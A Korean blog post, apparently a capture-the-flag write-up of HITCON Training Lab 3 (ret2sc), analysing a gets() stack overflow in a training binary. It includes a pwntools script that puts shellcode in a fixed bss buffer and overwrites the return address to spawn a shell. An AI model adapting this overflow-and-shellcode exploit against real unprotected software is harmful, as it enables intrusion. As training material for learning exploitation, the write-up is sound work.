tmxklab

hitcon training [LAB 3] 본문

War Game/hitcon training

hitcon training [LAB 3]

tmxk4221 2020. 7. 19. 18:05

1. 문제

1) mitigation확인

 

2) 문제 확인

입력 값을 2번 받고 종료됨

 

3) 코드흐름 파악

3-1) main함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-14h]

  setvbuf(stdout, 0, 2, 0);
  printf("Name:");
  read(0, &name, 0x32u);
  printf("Try your best:");
  return (int)gets(&s);
}

 

read함수에서 입력 값을 저장하는 name변수는 bss영역에 존재함

gets함수에서 입력 값을 받는 s변수를 통해 bof가능 → ret조작 가능

 

 


2. 접근 방법

그냥 name변수에 쉘 코드 작성하여 실행시키는 방법으로 풀기로 한다.

 


3. 풀이

1) name변수 위치

mitigation에 아무것도 안걸려 있어서 그냥 위에 나온 name주소 값을 이용(주소 안바뀜)

name 주소 값 : 0x804a060

 

2) s변수 위치

  • s변수 → [esp+0x1c], ebp로부터 0x1c(28)bytes만큼 떨어져 있음

  • 32bytes작성하면 ebp까지 덮음

 

3) 익스코드

from pwn import *

#context(log_level="debug", arch="i386", os="linux")

p = process("./ret2sc")
#gdb.attach(p)

name_addr = p32(0x804a060)
shellcode = asm(shellcraft.i386.linux.sh())

payload = "A"*32
payload += name_addr

p.sendlineafter(":", shellcode)
p.sendlineafter(":", payload)

p.interactive()

 

4) 공격실행

'War Game > hitcon training' 카테고리의 다른 글

hitcon training [LAB 6]  (0) 2020.07.19
hitcon training [LAB 5]  (0) 2020.07.19
hitcon training [LAB 4]  (0) 2020.07.19
hitcon training [LAB 2]  (0) 2020.07.19
hitcon training [LAB 1]  (0) 2020.07.19
Comments